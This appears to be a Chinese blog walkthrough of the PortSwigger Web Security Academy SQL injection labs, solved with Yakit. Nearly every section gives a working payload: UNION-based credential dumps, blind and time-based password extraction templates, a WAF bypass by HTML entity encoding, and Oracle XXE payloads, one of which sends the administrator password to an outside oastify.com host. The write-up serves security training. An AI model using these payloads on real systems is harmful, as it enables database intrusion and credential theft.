BurpSuite学院靶场系列(一)| SQL注入

引言:前两年有短暂地使用过一段时间 Yakit,当时功能虽然方面已经有不错的可用性,但细节处相较于 BurpSuite 还有很多不足。近期又尝试了下,变化很大,功能和稳定性都不错,决定彻底从 BurpSuite 转向 Yakit。这个系列我打算使用 Yakit 完全通关一遍 BurpSuite 学院的靶场,熟悉 Yakit 的同时再回顾一遍 Web 安全的基础知识。

1、SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

要求通过 sql 注入攻击,显示一个或多个未发布的产品,构造以下语句,成功获取到所有产品信息。

a'+or+'1'='1'--+

2、SQL injection vulnerability allowing login bypass

要求以 administrator 的身份登录系统,构造以下语句,成功登录。

administrator'--+

3、SQL injection UNION attack, determining the number of columns returned by the query

要求通过 union 注入确定返回的列数,返回包含 null 的行。查询 3 个 null 时页面正确返回,确定返回 3 列。

a'+union+select+null,null,null--+

4、SQL injection UNION attack, finding a column containing text

要求识别与字符串数据兼容的列,构造语句先判断出返回 3 列,再依次尝试,确定只有第 2 列与字符串类型兼容。

a'+union+select+null,'a',null--+

5、SQL injection UNION attack, retrieving data from other tables

该 lab 提到存在 一个 users 表,该表有 username 和 password 两个字段,且此处语句返回与字符串类型兼容的两列,要求检索所有的用户和密码。

构造如下语句,查询出了包括 administrator 在内的 3 组用户凭证。

a'+union+select+username,password+from+users--+

6、SQL injection attack, querying the database type and version on Oracle

要求显示数据库的版本,并且也明确提到了该数据库是 Oracle,需要选择 Oracle 特有的函数查询。

a'+union+select+banner,null+from+v$version--

7、SQL injection attack, querying the database type and version on MySQL and Microsoft

要求查询出 mysql 或者 mssql 的数据库类型和版本,首先确定输出两列,且都与字符串类型兼容。

a'+union+select+'a','a'--+

接着使用相应函数查询,确定是 mysql 8.0.41。

a'+union+select+@@version,'a'--+

8、SQL injection attack, listing the database contents on non-Oracle databases

lab 提到有一个保存了用户名和密码的表,要求查询出这个表及其拥有的列的名字,然后查询出这些用户名和密码。在除 Oracle 外的大部分数据库都拥有相同的信息模式视图,在这种场景下的注入大同小异。

首先查找出所有的表名,找到一个可能是存放用户密码的表。

a'+union+select+table_name,null+from+information_schema.tables--+

查询该表的所有字段,找到与用户名、密码相关的列。

a'+union+select+column_name,null+from+information_schema.columns+where+table_name='users_jcunoh'--+

最后查询该表的两个字段,获取到包括 administrator 的三组用户凭证。

a'+union+select+username_zcfwlm,password_gtwcpp+from+users_jcunoh--+

9、SQL injection attack, listing the database contents on Oracle

和 lab7 一样,要求查询所有用户名密码,不过是 Oracle 数据库,利用方法有一些不同。

通过 all_tables 表查询出所有的表名,找到可能的用户表。

a'+union+select+table_name,null+from+all_tables--

查询该表所有列名,找到用户名和密码字段。

a'+union+select+column_name,null+from+all_tab_columns+where+table_name='USERS_DHPYZB'--

最后查询出所有用户的用户名和密码。

a'+union+select+USERNAME_XPCAMR,PASSWORD_NOPVAR+from+USERS_DHPYZB--

10、SQL injection UNION attack, retrieving multiple values in a single column

要求在单个列中检索多个值,并提及 users 表中有 username 和 password 两个字段。

首先判断出数据库为 PostgreSQL,且第二个字段与字符串类型兼容。

a'+union+select+null,version()--

通过 || 拼接 username 和 password,使之在一列输出。

a'+union+select+null,username||password+from+users--

11、Blind SQL injection with conditional responses

该 lab 在 cookie 处存在布尔盲注,给出了表名和列名,要求查询出 administrator 的密码。

首先构造一个永真语句,返回的字节数为 11381。

a'+or+'1'='1

修改为查询为空的语句,返回字节数为 11320,可以判断存在 sql 注入漏洞。

a'+or+'1'='2

接着构造语句,确定了 administrator 的密码长度为 20。目前这里手动尝试就可以了,工作量不大,还不需要引入自动化。

构造语句,使用 yakit 标签同时对两个数字进行 fuzz,成功获取到了 20 个字符,组合到一起就是 administrator 的密码。(要是自己写脚本可以用二分法大幅提高效率)

a'+or+ascii(substring((select+password+from+users+where+username='administrator'),{{int(1-20)}},1))={{int(32-126)}}--+

12、Blind SQL injection with conditional errors

题目同上,不过要求使用条件错误注入,查询为真时报错。

告诉了我们使用 Oracle 数据库,使用对应的语法,当前条件为假,没有报错。

a'+and+(select+case+when+(1=2)+then+to_char(1/0)+else+'a'+end+from+dual)='a'--+

接着构造 payload,当 password 长度为 20 时报错,证明其长度为 20。

a'+and+(select+case+when+length(password)=20+then+to_char(1/0)+else+'a'+end+from+users+where+username='administrator')='a'--+

接着构造 payload,原理和上面类似,核心语句和布尔盲注类似,查询出密码。

a'+and+(select+case+when+substr(password,{{int(1-20)}},1)='{{file:line(D:\yakit\yakit-projects\temp\tmp2857741069.txt)}}'+then+to_char(1/0)+else+'a'+end+from+users+where+username='administrator')='a'--+

13、Visible error-based SQL injection

问题同上,此次要求的是报错注入,从页面的报错中获取信息。

利用 cast 函数报错,但提示 and 必须连接布尔变量。

a'+and+cast((select+password+from+users)+as+int)--+

修改 payload,报错显示返回的行数不对。

a'+and+1=cast((select+password+from+users)+as+int)--+

限制返回一行,这次又显示 sql 语句过长。

a'+and+1=cast((select+username,password+from+users+limit+1)+as+int)--+

只返回一列,成功回连 administrator。

a'+and+1=cast((select+username+from+users+limit+1)+as+int)--+

administrator 的密码显然也是在第一行,查询得到。

a'+and+1=cast((select+password+from+users+limit+1)+as+int)--+

14、Blind SQL injection with time delays

存在时间盲注,数据库使用的 postgresql,要求 sleep 10 秒,测试发现该条 sql 语句被执行了两次。

a'||pg_sleep(5)--

15、Blind SQL injection with time delays and information retrieval

要求通过时间盲注查询用户密码,首先判断 administrator 的密码长度为 20。

a'%3Bselect+case+when+(length(password)=20)+then+pg_sleep(2)+else+pg_sleep(0)+end+from+users+where+username='administrator'--

接着爆破密码,原理和之前类似,不过是换成通过响应时间判断,响应时间大于 1 的就是正确的字符。

a'%3Bselect+case+when+(substring(password,{{int(1-20)}},1)='{{file:line(D:\yakit\yakit-projects\temp\tmp3563884527.txt)}}')+then+pg_sleep(1)+else+pg_sleep(0)+end+from+users+where+username='administrator'--

16、Blind SQL injection with out-of-band interaction

要求 sql 注入外带查询,将结果回显到 dnslog,但是必须使用 burpsuite 默认的公共服务器,就临时换用 burpsuite 来做吧。

目标数据库是 Oracle,向外发送 http 请求,不过该外带方式是结合 XXE,这个 Oracle 版本在当前环境下未修复。

a'+union+select+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//hyjrislc57tsffu6mroimc3vqmwdkb80.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual--

成功接收到查询请求。

17、Blind SQL injection with out-of-band data exfiltration

同样是 OAST,不过这次发送 http 请求中需要携带 sql 查询语句,将查询到的结果回显到请求的服务器。

同样是 Oracle 数据库,将查询到的字符串用 || 拼接。

a'+union+select+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http://'||(select+password+from+users+where+username='administrator')||'.9gqj0k34nzbkx7cy4j6a44ln8ee525qu.oastify.com/">+%25remote%3b]>'),'/l')+from+dual--

成功查询并且外带出 administrator 的密码。

18、Lab: SQL injection with filter bypass via XML encoding

这个 lab 的实际目的是绕 waf,先抓包发送观察,发送一个 xml 格式的数据,接收了 productID 和 storeID 两个参数,都可以通过 1+1 这种形式书写,说明是整数型注入。

加上 union select 关键词,回显显示检测到攻击语句。

接下来要用 HTML 实体编码绕过它,因为后端在处理这个 XML 时,会先将其进行 HTML 实体解码,然后再执行语句。但 waf 拦截不了经过 HTML 实体编码后的语句。

// 原语句
2 union select password from users where username='administrator'--
// 编码后
&#50;&#32;&#117;&#110;&#105;&#111;&#110;&#32;&#115;&#101;&#108;&#101;&#99;&#116;&#32;&#112;&#97;&#115;&#115;&#119;&#111;&#114;&#100;&#32;&#102;&#114;&#111;&#109;&#32;&#117;&#115;&#101;&#114;&#115;&#32;&#119;&#104;&#101;&#114;&#101;&#32;&#117;&#115;&#101;&#114;&#110;&#97;&#109;&#101;&#61;&#39;&#97;&#100;&#109;&#105;&#110;&#105;&#115;&#116;&#114;&#97;&#116;&#111;&#114;&#39;&#45;&#45;

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值